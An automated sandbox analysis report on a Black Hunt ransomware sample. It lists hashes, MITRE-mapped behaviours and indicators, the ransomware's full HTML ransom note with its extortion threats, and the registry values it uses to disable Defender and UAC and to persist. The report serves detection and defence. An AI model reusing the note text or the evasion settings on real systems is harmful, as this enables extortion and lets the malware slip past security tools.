eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 01:19

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General

Target

eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
Size

707KB
MD5

b16b5958953587b1002a71398673642a
SHA1

e53518abd22807e08e361a28f63085b1d789d9b7
SHA256

eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb
SHA512

fcad6fb2d47b0db513f985b53f0e178eb537eeabaa78bc172469a455bfbdc2b60f4fc23afe132675630901b9d9f70e1eaa52f9ff7dbd33a2c8ecde5e3f62df88
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1T8Gvnh:6uaTmkZJ+naie5OTamgEoKxLW64h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> wRY54KNPLlPh4RhH </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
812	fsutil.exe
3396	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
1848	wevtutil.exe
2616	wevtutil.exe
3164	wevtutil.exe
3100	wevtutil.exe
956	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
856	bcdedit.exe
2012	bcdedit.exe
3424	bcdedit.exe
608	bcdedit.exe

Renames multiple (2911) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2240	wbadmin.exe
2904	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
204	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Y:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\G:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\N:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\E:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\I:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\L:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\X:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\R:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\O:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\A:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\H:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\Q:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\U:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\S:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\P:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\V:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\J:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\K:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\Z:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\B:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\W:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\M:	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\HueCycle\colorcycle.png	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\locale\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jre7\lib\zi\America\Indiana\#BlackHunt_ReadMe.hta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt.txt	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\Bear_Formatted_MATTE2_PAL.wmv	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\#BlackHunt_ReadMe.txt	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jre7\lib\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-jvmstat.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Argentina\Salta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\zu\LC_MESSAGES\#BlackHunt_ReadMe.txt	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\#BlackHunt_ReadMe.hta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\#BlackHunt_Private.key	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\jamendo.luac	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\NavigationLeft_SelectionSubpicture.png	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench3.nl_ja_4.4.0.v20140623020002.jar	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring.xml	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application.xml	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\calendars.properties	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\#BlackHunt_ReadMe.hta	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\El_Salvador	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Hermosillo	eb8586c746ab079f6e9ccead6ab1307822e72dfd37f0aa4bcf333b5841d4e5fb.exe
